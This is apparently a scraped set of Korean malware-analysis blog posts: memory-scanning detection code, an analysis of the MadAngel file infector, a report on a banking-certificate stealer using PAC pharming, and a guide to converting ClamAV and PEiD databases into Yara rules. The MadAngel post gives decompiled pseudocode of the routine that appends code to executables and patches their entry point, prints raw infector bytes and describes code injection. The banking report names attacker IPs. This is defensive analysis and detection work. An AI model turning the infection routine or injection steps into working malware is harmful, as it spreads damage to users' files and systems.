스레드의 시작 위치를 알아내기 위한 핵심 API Ntdll.dll NtQueryInformationThread 이다. API 는 특정 스레드에 대한 정보를 얻기 위한 API 로 두 번째 인자인 ThreadInformationClass ThreadQuerySetWin32StartAddress(0x9) 를 넘겨주면 세 번째 인자 ThreadInformation 에 스레드의 시작 주소를 반환해준다.

1
2
3
4
5
6
7
8
NTSTATUS WINAPI NtQueryInformationThread(
    _In_      HANDLE            ThreadHandle,
    _In_      THREADINFOCLASS  ThreadInformationClass,
    _Inout_   PVOID              ThreadInformation,
    _In_      ULONG             ThreadInformationLength,
    _Out_opt_ PULONG           ReturnLength
);
 
cs

Ntdll 의 함수를 사용하기 위해 LoadLibrary 를 통해 해당 모듈을 로드하고 GetProcAddress 를 통해 우리가 사용하고자 하는 NtQueryInformationThread 의 주소를 가지고 올 것이다. 다음과 같은 코드로 구성할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef NTSTATUS(WINAPI *NtQueryInfoThread)(HANDLE, ULONG, PVOID, ULONG, PULONG);
 
PVOID ThreadInfo;
ULONG ThreadInfoLength;
PULONG ReturnLength;
NtQueryInfoThread NtQueryInformationThread;
 
HMODULE hNtdll = LoadLibrary("ntdll.dll");
NtQueryInformationThread = (NtQueryInfoThread) GetProcAddress(hNtdll, "NtQueryInformationThread");
 
if (!NtQueryInformationThread)
    return FALSE;
 
/* if THREADINFOCALSS is a ThreadQurtySetWin32StartAddress, return start address of thread */
HANDLE hThread = OpenThread(THREAD_QUERY_INFORMATION, 0, tid);
NTSTATUS NtStat = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &ThreadInfo, sizeof(ThreadInfo), NULL);
 
return TRUE;
 
cs

이제 탐색한 스레드의 시작 주소를 알 수 있으니, 그곳에 있는 데이터를 읽어와 우리가 비교하고자 하는 데이터와 비교해볼 것이다. 이 부분은 오히려 쉽다. 아래 코드와 같이 OpenProcess 를 통해 스레드가 속한 프로세스의 핸들을 얻고 ReadProcessMemory 의 인자로 위에서 얻은 스레드 시작 주소를 넘겨주면 된다. 그리고 한 바이너리씩 비교하면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
CHAR Buffer[0x100];
CHAR CmpCode[0x100= { '\x6A''\x00''\x68''\x00''\x20', ….};
DWORD NumberofByteRead;
HANDLE hProc = OpenProcess(PROCESS_VM_READ, 0, t32.th32OwnerProcessID);
ReadProcessMemory(hProc, EntryPoint, Buffer, 0x100&NumberofByteRead);
 
for (int i = 0; i < sizeof(CmpCode); i++)
{
    if ((BYTE) CmpCode[i] != (BYTE)Buffer[i])
    {
        return FALSE;
    }
}
return TRUE;
cs

이를 통해 프로그램을 제작한 뒤 테스트를 하기 위해 Reverse_L01.exe 란 프로그램을 선택하였다. 해당 프로그램은 아주 간단한 프로그램으로 본 코드가 0x67 정도밖에 되지 않는다.

이 코드를 기준 바이너리로 하여 각 스레드의 시작 주소에서 0x67 의 크기를 비교할 것이다. 테스트를 위해 해당 프로세스를 8개 실행하였다.

실행 결과 아래 그림과 같이 8개 모두 선별해낸 것을 확인할 수 있다.


3. Conclusion

다소 간단한 코드를 제작해보았다. 하지만 파일로 진단할 수 없는 악성코드의 경우 이 코드를 기반으로 진단 프로그램을 만들 수 있을 것이다. 그렇다면 진단만으로 무엇을 할 수 있을까? 사실 진단은 그에 따른 조치를 취하기 위한 이전 단계라 할 수 있다.

분석한 악성코드의 내용에 따라 해당 프로세스를 종료시키거나 특정 스레드만 걸러내어 ResumeThread 와 같은 API 를 사용하여 동작하지 않도록 할 수 있다. 이러한 추가적인 동작은 추후에 다루어 보자.

악성코드를 다루며 분석에만 집중하는 것도 중요하지만, 실제 기업이나 고객은 조치를 원할 것이다. 따라서 충분한 분석이 이루어졌다면 다른 샘플을 보는 것이 아니라, 진단이나 치료 코드를 제작해보는 것이 매우 큰 도움이 될 것이라 생각한다.


Reference

[+] Microsoft, MSDN API : https://msdn.microsoft.com/

[+] 괴짜 프로그래머의 일상사, “스레드 열거하기” : http://www.jiniya.net/wp/archives/7676

'Reversing > Theory' 카테고리의 다른 글

DoubleAgent 공격  (1) 2017.03.28
암호학 기초 개념  (2) 2016.11.23
Assembly로 보는 코드, strcmp 문자열 비교  (0) 2016.08.08
WFP 무력화  (0) 2016.06.21
DLL이란?  (4) 2016.05.29
MadAngel_분석보고서.pdf


1. 개요

악성코드는 여러 분류로 나누어 볼 수가 있다. 이 중 일반 사용자의 입장에서 악성코드라는 단어보다 친숙한 바이러스가 있다. 사실 필자도 보안을 공부하기 이전에는 악성코드라는 단어는 아예 들어보지 못했고, 대신 바이러스라는 단어로 모든 악성코드를 지칭했었다바이러스는 악성코드 분류의 한 종류로 스스로를 복제하여 악의적 목적을 수행하는 악성 소프트웨어(Wiki)’ 라는 의미를 가지고 있다. 컴퓨터 바이러스가 아닌 우리가 알고 있는 메르스(MERS)나 감기와 유사하다. 바이러스에 감염된 사람으로부터 다른 사람도 감염시키듯이, 컴퓨터 바이러스는 감염된 파일을 실행시키면 다른 파일을 감염시킨다.

컴퓨터 바이러스는 동작 방식에 따라 차이가 있겠지만, 일반적으로 악의적인 코드를 파일에 삽입하여 공격자가 지정한 악의적인 행동을 수행한 다음에서야 원래의 정상적인 동작을 수행하도록 한다. 그렇기에 일반 사용자의 입장에선 모든 파일이 잘 실행되기 때문에 모를 수도 있다. 하지만 이미 바이러스가 실행된 사용자 PC 는 대부분 속도가 현저히 저하 되거나, CPU 사용량이 크게 증가하는 등으로 사용자의 PC 사용을 방해한다이번에 분석하고자 하는 컴퓨터 바이러스는 ‘Mad Angel’ 로 해당 악성코드의 동작 방식과 감염 방식 등에 대하여 알아보자.


2. 분석 정보

해당 악성코드에 대한 정보는 아래와 같다. 분석 중 필자가 가진 샘플이 감염된 파일인 것을 알 수가 있었다. 대신 드롭되는 Serverx.exe 가 감염된 파일에 삽입된 부분의 코드와 유사한 코드라는 점과, 감염된 파일이 다른 파일을 감염시키는 동작을 수행하는 중 해당 프로세스를 강제로 종료하면 Serverx.exe 가 실행되어 감염을 재개하는 점으로 미루어보아 실질적으로 숙주와 같다는 것을 알 수 있었다.

아래 그림과 같이 sample.exe 를 실행시켰을 때 두 개의 ‘sample.exe’ 프로세스가 존재하고 있는 것을 확인할 수 있다. 이 중 부모 프로세스(PID:2540)가 악성 동작(파일 감염)을 수행하는 것이며, 자식 프로세스(PID:2548)는 감염된 파일의 원래 동작을 수행하는 것이다. 감염된 파일인 sample.exe 를 실행할 경우 바이러스에 의해 삽입된 악성 동작을 수행하는 부분에서 루프를 돌게 된다. 그러므로 MadAngel 은 파일이 원래의 동작을 수행하는 자식 프로세스를 생성한다.

감염 행위를 하고 있는 sample.exe 프로세스를 강제로 종료 시키면 아래 그림과 같이 Severx.exe 가 생성되는 것을 확인할 수 있다. 하지만 여기서 의문을 가져야할 점은 바로 “ctfmon.exe” 프로세스의 자식 프로세스로 생성되었다는 점이다.

ctfmon.exe 는 해당 샘플을 실행하기 이전부터 존재하고 있던 정상적인 프로세스이다. 그렇다면 어떻게 ctfmon.exe Serverx.exe 를 자식 프로세스로 가질 수 있을까? 이는 sample.exe 가 동작하면서 임의의 프로세스에 Code Injection 을 하기 때문이다. Injection 되는 코드는 감염 행위를 하고 있는 프로세스가 종료되면, Serverx.exe 를 다시 실행시킨다. 결국 Serverx.exe 프로세스를 종료 시켜도 다시 Serverx.exe 가 실행된다.

감염된 샘플과 Serverx.exe Serverx.exe 를 자동실행 레지스트리에 등록하여 PC 를 재부팅하여도 다시 감염을 실행하도록 한다.

 

3. 상세 분석

MadAngel 을 실행할 경우 아래와 같이 뮤텍스를 통해 이미 MadAngel 이 동작 중인지 확인한다. 뮤텍스의 이름이 “Angry Angel v3.0” 인 것을 알 수 있으며, 동작 중이라면 감염 동작을 수행하지 않고 파일 원래의 기능이 동작하도록 한다. 

만약 동작 중이지 않다면, 실행된 MadAngel WinExec API 를 통해 정상 동작을 수행하는 자기 자신을 실행한다. 실행된 또 다른 자기자신은 위와 마찬가지로 뮤텍스를 확인하고, 뮤텍스가 이미 존재하기 때문에 정상 동작을 수행하는 루틴으로 가게 된다.

악성코드는 System32 폴더에 Serverx.exe 라는 파일을 드롭한다. Serverx.exe MadAngel 의 핵심 코드가 들어있는 실행 파일로, 실질적으로 Serverx.exe 가 감염될 코드와 같다. 드롭 후 Serverx.exe 를 자동 실행 레지스트리에 등록하여 PC 가 종료되더라도 다시 부팅될 때 감염 동작을 수행하도록 한다.

아래와 같이 새로운 스레드를 생성한다. 생성된 스레드는 RegNotifyChangeKeyValue API 를 통해 위에서 등록한 레지스트리의 값이 삭제될때까지 기다린다. 만약 해당 값에 변화가 생기면 다시 레지스트리에 등록한다.

자신에게 스레드를 생성한 뒤 FindWindow 를 통해 임의의 윈도우를 탐색하고 해당 윈도우에 대한 프로세스 ID 를 가져온다. 그리고 OpenProcess API 를 통해 해당 프로세스의 핸들을 얻는다.

얻어온 프로세스 핸들에 대해 VirtualAllocEx 를 통해 메모리 공간을 할당해준다. 할당한 메모리 공간에 새로운 데이터를 기록을 해주는 것을 확인할 수 있다. 메모리에 데이터를 기록한 후 현재 프로세스의 ID 를 가져온다. 이는 현재 프로세스 ID CreateRemoteThread 를 통해 생성할 스레드의 인자로, 넘겨받은 프로세스 ID 가 종료되는지 확인하기 위함이다. CreateRemoteThread 를 통해 데이터를 기록한 메모리 공간을 실행하는 스레드를 생성해준다.

위의 동작을 수행한 뒤 파일 감염을 시작한다. 우선 FindFirstFile FindNextFile API 를 통해 각 폴더를 탐색한다. 그리고 폴더에 있는 파일의 이름에서 끝의 네 글자가 아래와 같이 “.exe” “.scr” 인지 확인한다. 이 두 확장자가 아닐 경우 감염시키지 않는다.

감염에 사용된 코드를 디컴파일 하면 아래와 같은 결과를 얻을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FileInfection()
{
    data = f.read(0x1000);
    pDos = &data;
    pNt = pDos + pDos.lfanew;    //pDos + 0x3c
    pSec = pNt + 0xf8;
    NumberofSection = pNt+6;
 
    for(int i=0; i<NumberofSection; i++)
        pSec += 0x28;     // Find a Last Section
    if(pNt.AddressofEntrypoint > pSec.RVA)
    {
        tmp = pNt.AddressofEntrypoint - pSec.RVA + pSec.PointertoRawData;
        SetFilePointer(hFile, tmp, FILE_BEGIN);
        ReadFile(hFile, Buffer:data-4, size:4);
    }
    pSec.Characteristics = pSec.Characteristics | 0xe0000000;
    
    FileEndPoint = SetFilePointer(hFile, 0, FILE_END);
    if(FileEndPoint == -1){ return; }
    
    pSec.SizeofRawData = FileEndPoint + 0x118f - pSec.PointertoRawData;
    if(pSec.SizeofRawData > pSec.VirtualSize)
    {
        dwOrigVirtualSize = pSec.VirtualSize;
        pSec.VirtualSize = pSec.SizeofRawData;
 
        calc = (pNt.SectionAlignment - 1);
    /* 이 크기만큼 SizeofImage 에 더함 */    
        pNt.SizeofImage += ((pSec.VirtualSize + calc) & NOT(calc)) - ((dwOrigVirtualSize + calc) & NOT(calc));
    }
 
    Orig.AddressofEntrypoint = pNt.AddressofEntrypoint;
    pNt.AddressofEntrypoint = pSec.RVA + FileEndPoint - pSec.PointertoRawData;
 
    MalCode[0x1B= Orig.AddressofEntrypoint + pNt.Imagebase;    /* Write a OEP */
    WriteFile(hFile, MalCode, size:0x118F);    /* Write a MalData to FileEndPoint */
    SetFilePointer(hFile, 0, FILE_BEGIN);
    WriteFIle(hFile, pDos, size:0x1000);    /* Write a new pe header */
}
cs

위와 같은 방식으로 파일이 감염되면 아래와 같은 구조를 띄게 된다. 기존의 AddressofEntrypointImageBase를 더한 값(EP) 가 덧붙여지는 악성 코드의 0x1b 지점에 기록되어, 감염 되기 이전의 AddressofEntrypoint 를 알 수 있다.

다음 표는 임의의 샘플의 감염 전 후 PE 구조 차이다.


4. 진단 및 치료

해당 샘플의 경우 다형성을 띄고 있지 않다. 그렇기에 진단이나 치료에 있어 상대적으로 어렵지 않다. 아래 바이너리는 감염된 두 파일에 덧붙여진 코드를 나타낸다. 코드에 있어 다른 부분은 0x1B 부터 4 bytes 만 다른 것을 확인할 수 있으며, 여기에 있는 값은 감염되기 이전의 EP 값이다. 따라서 이를 토대로 진단 코드를 선정할 수 있다.

우선 위 바이너리를 확인하기 전에 파일의 특징적인 면이 있다. 바로 감염된 파일의 AddressofEntrypoint 가 덧붙여진 코드의 첫 지점(:0x26200, :0x2B200)을 가리킨다는 것이다. 이와 함께 해당 지점에서 파일의 끝(EOF)까지의 크기가 0x118F . 따라서 EOF – 0x118F AddressofEntrypoint 가 가리키는 Offset 이 동일한 위치가 된다. 이를 코드로 짜면 아래와 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
BOOL FirstDetection(HANDLE hFile)
{
    DWORD lpNumberOfBytesRead;
 
    DWORD NumberofSections;
    DWORD AddressofEntrypoint;
    
 
    DWORD CheckOffset = dwSize - 0x118f;
 
    lpAddr = VirtualAlloc(00x1000, MEM_COMMIT, PAGE_READWRITE);
    ReadFile(hFile, lpAddr, 0x1000&lpNumberOfBytesRead, 0);
 
    pDos = (PIMAGE_DOS_HEADER)lpAddr;
    pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (BYTE *)pDos);
    pFile = (PIMAGE_FILE_HEADER)(0x4 + (BYTE *)pNt);
    pOption = (PIMAGE_OPTIONAL_HEADER)(0x18 + (BYTE *)pNt);
    pSection = (PIMAGE_SECTION_HEADER)(pFile->SizeOfOptionalHeader + (BYTE *)pOption);
 
    AddressofEntrypoint = pOption->AddressOfEntryPoint;
    NumberofSections = pFile->NumberOfSections;
 
    for (int i = 0; i < NumberofSections; i++)
    {
        if (AddressofEntrypoint > pSection->VirtualAddress && AddressofEntrypoint < (pSection->VirtualAddress + pSection->Misc.VirtualSize))
        {
            EPOffset = AddressofEntrypoint - pSection->VirtualAddress + pSection->PointerToRawData;
        }
        pSection++;
    }
    pSection--;
 
    if (CheckOffset == EPOffset)
    {
        return TRUE;
    }
    return FALSE;
}
cs

위 코드를 통해 선진단을 하여 1차 분류를 한다. 조건에 부합한 파일에 다시 진단을 하여 핵심 코드 부분을 비교하여야 한다. 본 진단에서 사용할 바이너리는 두 부분으로 나누었다. 하나는 선진단에서 찾은 EP Offset 에서의 바이너리를 비교할 것이고, 다른 하나는 아래 그림에 나타낸 0x100 만큼의 크기이다. 해당 부분은 파일을 감염시키는 부분의 코드로 감염형 악성코드에서 중요한 부분이라 할 수 있다.

이러한 조건들을 다음과 같은 코드로 구성하여 비교할 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
BOOL LastDetection(HANDLE hFile)
{
    DWORD lpNumberOfBytesRead;
 
    PVOID tmp;
    char ReadBuffer1[0x20];
    char ReadBuffer2[0x100];
    char CheckBuffer1[0x20= { '\x60','\x78','\x03','\x79','\x01','\xEB','\xE8','\x74','\x11','\x00','\x00','\x8B','\x74','\x24','\x20','\xE8','\x11','\x00','\x00','\x00','\x61','\x78','\x03','\x79','\x01','\xEB','\x68'};
    char CheckBuffer2[0x100= {'\xC8''\x00''\x00''\x00''\x60''\x81''\xEC''\x00''\x10''\x00''\x00''\x8B''\xFC''\x68''\x00''\x10''\x00''\x00''\x57''\xFF''\x75''\x08''\xFF''\x56''\x34''\x0F''\xB7''\x47''\x3C''\x03''\xF8''\x3B''\xFD''\x0F''\x87''\xE4''\x00''\x00''\x00''\x66''\x81''\x3F''\x50''\x45''\x0F''\x85''\xD9''\x00''\x00''\x00''\x81''\xBF''\x9B''\x01''\x00''\x00''\x79''\x6C''\x50''\x7A''\x0F''\x84''\xC9''\x00''\x00''\x00''\x8D''\x9F''\xF8''\x00''\x00''\x00''\x0F''\xB7''\x4F''\x06''\x49''\x83''\xC3''\x28''\xE2''\xFB''\x3B''\xDD''\x0F''\x87''\xB1''\x00''\x00''\x00''\x8B''\x47''\x28''\x2B''\x43''\x0C''\x72''\x23''\x03''\x43''\x14''\x6A''\x00''\x50''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x50''\x8B''\xC4''\x6A''\x04''\x50''\xFF''\x75''\x08''\xFF''\x56''\x34''\x58''\x66''\x3D''\x60''\xE8''\x0F''\x84''\x86''\x00''\x00''\x00''\x81''\x4B''\x24''\x00''\x00''\x00''\xE0''\x6A''\x02''\x6A''\x00''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x83''\xF8''\xFF''\x74''\x70''\x50''\x05''\x8F''\x11''\x00''\x00''\x2B''\x43''\x14''\x89''\x43''\x10''\x8B''\x53''\x08''\x3B''\xC2''\x72''\x16''\x89''\x43''\x08''\x8B''\x4F''\x38''\x49''\x03''\xC1''\x03''\xD1''\xF7''\xD1''\x23''\xC1''\x23''\xD1''\x2B''\xC2''\x01''\x47''\x50''\x59''\x2B''\x4B''\x14''\x03''\x4B''\x0C''\x87''\x4F''\x28''\x03''\x4F''\x34''\xE8''\x00''\x00''\x00''\x00''\x5F''\x81''\xEF''\x13''\x0E''\x00''\x00''\x89''\x0F''\x83''\xEF''\x1B''\x68''\x8F''\x11''\x00''\x00''\x57''\xFF''\x75''\x08''\xFF''\x56''\x38''\x83''\xF8''\xFF''\x74''\x18''\x6A''\x00''\x6A''\x00''\xFF''\x75''\x08''\xFF''\x56''\x3C''\x8B''\xC4''\x68'};
    
    SetFilePointer(hFile, EPOffset, 00);
    ReadFile(hFile, ReadBuffer1, 0x20&lpNumberOfBytesRead, 0);
 
 
    OrigEP = (BYTE)ReadBuffer1[0x1b];
    OrigEP += (BYTE)ReadBuffer1[0x1c]*0x100;
    OrigEP += (BYTE)ReadBuffer1[0x1d]*0x10000;
    OrigEP += (BYTE)ReadBuffer1[0x1e]*0x1000000;
    OrigEP -= pOption->ImageBase;
 
    SetFilePointer(hFile, EPOffset + 0xd5800);
    ReadFile(hFile, ReadBuffer2, 0x100&lpNumberOfBytesRead, 0);
 
    for (int i = 0; i < 0x1b; i++)
    {
        if (ReadBuffer1[i] != CheckBuffer1[i])
        {        
            /* Check a aml data size at mal's data[0xdf6]&[e3c] */
            return FALSE;
        }
    }
 
    for(int i=0; i< 0x100; i++)
    {
        if(ReadBuffer2[i] != CheckBuffer2[i])
        {
            return FALSE;
        }
    }
 
    return TRUE;
}
cs

이러한 진단 코드를 통해 감염된 파일들을 탐색하면 올바르게 진단하는 것을 확인할 수 있다.

위와 같이 진단을 한 다음 감염된 파일들을 치료하여야 한다. 우선 파일 뒷부분에 덧붙여진 0x118F 만큼을 잘라내는 것과 PE 헤더의 AddressofEntrypoint 를 올바르게 수정해주어야 한다. 그리고 파일을 실행에 직접적으로 관련이 있는 SizeofRawData 의 값도 수정해주어야 한다. 이는 다음과 같은 코드로 나타낼 수 있다.



5. 결론

제작한 코드로 치료한 결과는 아래의 표와 같다. 아래의 표는 국내 모 백신이 치료한 파일들의 MD5 값과 직접 제작한 코드로 치료한 파일의 MD5 를 비교한 것으로 해시 값이 동일한 것을 확인할 수 있다

하지만 위 두 번째 표와 같이 감염형 악성코드를 치료했다는 것이 감염 이전과 완전히 동일하는 것을 뜻하지는 않는다. 물론 가능하다면 이전과 완전히 동일하게 하는 것이 가장 이상적이지만, 감염형 악성코드가 동작할 때 기존 파일의 정보를 모두 보존하지는 않는다. 그렇기에 복구할 수 없는 부분도 존재하게 된다. 또한 정책적인 면에서 위험의 소지가 있다면 최소한만큼만 수정하는 경우도 있다. 그러므로 치료되었음에도 감염 이전과 해시 값이 다르게 나타나는 경우도 빈번하다.


개요

랜섬웨어나 게임 계정, 금융 정보 탈취 등으로 인한 피해를 끊이지 않고 있다. 이런 악성코드를 제작하는 공격자의 목적은 결국 금전을 획득하는 것이다. 우리는 많은 매체들을 통해 이런 사건에 대한 피해 소식을 접할 수 있다. 랜섬웨어의 경우 악성코드에 감염되면 파일이 암호화가 되어 공격자에게 금액을 지불해야 한다. 하지만 사용자 PC 에서 금융 정보를 탈취할 때, 공격자는 사용자의 보안 카드 번호 등을 알 수 없으므로 이에 대해 사용자가 입력하도록 한다. 따라서 이번 보고서에서는 금융 정보 탈취 악성코드에 감염된 경우 어떠한 증상이 있는지 알아보자. 


동작

악성 프로세스가 실행되었더라도 사용자가 Internet Explorer 자체를 실행시키지 않을 수가 있다. 때문에 공격자는 사용자 PC 에서 악성코드를 지속시키기 위해 자동 실행 레지스트리에 등록한다.

[그림1] 자동 실행 등록 


사용자의 PC 에 공인인증서가 존재하고 있는지 확인한다. 공인인증서를 찾은 경우 임시 폴더 하위에 이를 복제하는 것을 확인할 수가 있다. 그리고 복제한 공인인증서 파일을 압축하여 임의의 ZIP 파일로 저장해 놓는다.

[그림 2] 공인인증서 복사 및 압축


PAC (Proxy Auto Config)

실행된 악성코드는 Internet Explorer 의 시작 페이지를 국내 유명 포털 사이트로 바꾼다. 그리고 AutoConfigURL 에 값을 등록해준다. 이를 통해 자동 구성 스크립트가 사용되며, 사용자가 URL 입력 시 연결할 IP 정보를 알아 오기 위해 레지스트리 값에 등록된 주소에 질의한다.

[그림 3] 시작 페이지 변경 및 PAC 설정


등록된 주소는 "127.0.0.1:1171" 로 자신 PC 의 1171 번 포트에 질의하게 된다. 아래 그림을 보면 악성 프로세스인 b.exe 가 1171 번 포트에서 LISTENING 중인 것을 확인할 수 있다. 이를 통해 URL 에 따른 IP 정보를 b.exe 에서 받아오게 된다. 사용자는 일반 웹 사이트에 접속하더라도 b.exe 에게 질의하여 공격자가 원하는 사이트로 접속하게 된다.

[그림 4] 연결 대기


네트워크

악성코드는 공격자의 서버와 통신을 시도한다. 공격자의 서버는 QQ 사이트에 등록되어 있어, 네트워크 패킷을 보면 아래와 같이 QQ 사이트 공격자 ID(338366585)를 통해 공격자의 IP 를 받아온다.

[그림 5] QQ 에 사용자 주소 요청 (QQ : 103.7.30.86, 공격자 : 103.20.193.205)


공격자 서버의 주소를 정상적으로 받아 왔다면, 이전에 압축한 사용자 공인인증서를 탈취한다. 아래 패킷과 같이 ZIP 파일의 PK 헤더와 공인인증서 정보가 있는 것을 확인할 수 있다.

[그림 6] 공인인증서 전송


파밍 사이트

감염된 후 Internet Explorer 를 실행하면 아래와 같은 팝업 창이 나타나 다른 행동을 할 수 없게 된다. 은행 배너 중 하나를 클릭하면 공격자가 지정한 파밍 사이트로 이동하게 된다.

[그림 7] 인터넷 접속 시 팝업 창


IBK 기업은행 배너를 클릭한 결과 실제 IBK 기업은행과 같은 페이지로 이동한 것을 확인할 수 있다. 여기까지는 일반 은행 업무를 볼 때와 같은 상황이다. 하지만 은행 사이트에 접속하여 업무를 보기 위해 임의의 버튼을 클릭하면 아래와 같은 메시지 창이 나타난다. 메시지 창이 나타난 이후 가짜 본인인증 사이트로 이동된다.

[그림 8] 클릭 시 나타나는 팝업창


이동한 웹 사이트에는 한국 인터넷 진흥원 KISA 를 볼 수 있으며, 이용자 정보 입력을 유도한다. 하지만 이 페이지 역시 가짜 사이트로 이용자 정보 입력을 제외한 다른 버튼을 클릭할 경우 페이지 이동이 이루어지지 않는다. 이용자 정보 또한 임의의 정보를 기입하면 다음 페이지로 넘어가진다.

[그림 9] 개인정보 입력 유도


임의로 개인 정보를 입력하고 진행을 하면 URL 에 자신이 기입한 이름, 주민번호, 계좌번호 등이 URL 에 노출되는 것을 확인할 수 있다.

[그림 10] 입력한 임의의 개인정보

[그림 11] URL 에 노출되는 개인정보


마지막으로 이체 비밀번호와 보안카드 정보 입력을 유도한다. 정상적인 인증과 달리 보안 카드의 모든 번호를 입력하도록 한다.

[그림 12] 보안카드 정보 입력 유도


결론

사용자 PC 에 저장된 공인인증서를 탈취 후 PAC 를 통해 파밍 사이트로 연결하는 악성코드에 대하여 알아보았다. PC 에 인증서를 저장해놓은 경우 금융 정보 탈취 악성코드가 접근하기 쉬워진다. 따라서 인증서를 USB 와 같은 이동식 매체에 저장하여 필요할 때만 연결하여 사용하는 것이 하나의 예방법이 될 수 있다. 또한 파밍 사이트로 연결되는 방법은 위에서 언급한 PAC 외에도 존재하므로 사용자가 속을 수 있다. 그러므로 위와 같이 과도한 개인 및 금융 정보를 요구한다면 의심을 해보아야 한다. 의심되는 증상이 있을 경우 정보 기입을 멈추고 백신을 통해 PC 감염 여부를 확인하여야 한다.


'Reversing > Malware Analysis' 카테고리의 다른 글

공인인증서 탈취 악성코드  (0) 2016.08.06
[Malware] PETYA.exe 분석  (2) 2016.04.02
[Ransomware] .micro 랜섬웨어 분석 보고서  (1) 2016.02.22
ixaobny.exe 분석 보고서  (0) 2016.02.16
90u7f65d.exe Malware Analysis  (0) 2015.12.28
ClamAV to Yara

Yara 규칙을 생성하는 방법 중 하나가 바로 ClamAV를 이용하는 것이다. ClamAV는 리눅스계열의 Anti-Virus Freeware로, 악성코드를 탐지하는데 사용할 수 있다. Yara가 직접 규칙을 생성해야하는 것에 반해, ClamAV는 통합적인 DB를 통해 악성코드에 관한 DB를 가지고 있다. Yara는 이러한 DB를 통해 규칙을 생성할 수가 있으며, 따라서 이에 대하여 어떻게 진행해야 하는지 알아보자.


우선 실습을 위해 ClamAV를 설치해보자. 실습에 사용된 리눅스는 Ubuntu로 apt-get 명령어를 통해 쉽게 설치할 수 있다. 아래의 명령어를 통해 ClamAVㄹ르 설치하자.

$ apt -get install clamav

ClamAV가 설치된 후 악성코드 정의를 업데이트 해야한다. 이에 대한 명령어는 다음과 같다.

$ freshclam

이렇게 악성코드에 대한 정의를 업데이트 하였다면 DB 파일을 찾아야 한다. 필자의 경우 /var/lib/clamav에 해당 파일이 존재하고 있으며, 여기서 main.cvd 파일을 찾은 다음 sigtool 명령어를 사용하여 압축을 풀어야 한다.

$ sigtool --unpack main.cvd

압축을 해제하면 main.*의 여러 파일이 생성된다. 여기서 main.ndb가 바로 변환할 파일이다. 변환을 할 때 필요한 코드는 Clamav_to_yara.py로 해당 코드를 실행하여 변환을 진행하자. 

$ Python clamav_to_yara.py -f main.ndb -o clamav_yara.yar


생성된 규칙을 Yara를 실행하거나 Yara-Python을 사용할 수 있다. 필자의 경우 Yara-Python를 사용하기 위해 만든 코드를 통해 실행하였다. 결과는 아래와 같다.

> Python -r clamav_yara.yar -d C:\mal_samples
[+] File : 15.exe, Matched : [Trojan_Spy_Zbot_436, Trojan_Peed_478
[+] File : 16.exe, Matched : [W32_Troxa]
[+] File : 17.exe, Matched : [Trojan_Downloader_Banload_39, Trojan_Spy_Zbot_436]

이렇게 올바른 결과가 출력되는 것을 확인할 수 있다. 하지만 ClamAV를 통해 규칙을 변환하였다해도 최신 악성코드 등에 대해서는 규칙이 지정되어 있지 않다는 것을 유의하자.


PEiD to Yara

PEiD는 리버싱을 해본 사람들이면 한번쯤 들어보았을 도구로, 본격적인 분석을 하기 전에 어떠한 방식으로 패킹이 되어있는지, 어떠한 언어를 통해 제작되었는지 확인할 수 있게 도와준다. Yara는 바로 이 PEiD의 DB를 통해서도 규칙을 생성할 수 있다. 이러한 방법에 대하여 알아보자. 우선 PEiD DB와 PEiD_to_Yara.py를 다운받고, PEiD_to_yara.py를 다음과 같이 실행하자.

> Python peid_to_yara.py -o peid_yara.yar peid_db.txt

출력된 결과물인 peid_yara.yar 규칙을 yara를 통해 실행한 결과는 다음과 같다. 위에서 ClamAV를 통해 생성한 규칙과는 다른 결과를 보여주고 있다. ClamAV가 어떠한 종류의 악성코드인지 확인하는 것이라면 PEiD는 어떠한 언어나, 패킹이 되었는지 확인하는데 사용할 수 있다.

> Python yara_class.py -r peid_yara.yar -d C:\mal_samples

[+] File : 05.exe, Matched : [UPX_v0_89_6, UPX]
[+] File : 15.exe, Matched : [Borland_Delphi_3]
[+] File : 16.exe, Matched : [MingWin32, dUP_v2_x_Patcher, Dev]
[+] File : 17.exe, Matched : [BobSoft_Mini_Delphi]
이와 같이 용도에 맞게 이미 생성되어 있는 DB를 통해 Yara 규칙을 생성할 수 있다. 이는 규칙 생성에 대해 어려움을 느끼는 입문자들에게는 어떻게 생성되었는지 확인할 수 있는 좋은 참고 자료가 될 수 있다.


Reference


http://www.cmsfactory.net/node/10407

http://resources.infosecinstitute.com/open-source-antivirus-clamav/

http://resources.infosecinstitute.com/malware-analysis-clamav-yara/

https://github.com/jvoisin/yara_rules/blob/master/peid_to_yara.py

https://isc.sans.edu/forums/diary/From+PEiD+To+YARA/19473/

http://handlers.sans.org/jclausing/userdb.txt



'Reversing > Theory' 카테고리의 다른 글

C기본 문법 어셈블리 변환  (5) 2016.03.20
Visual Studio 메인함수 찾기  (1) 2016.03.16
Yara 규칙 제작 & Python  (1) 2016.03.07
Yara를 사용해보자  (0) 2016.03.06
악성코드 분류  (0) 2016.03.03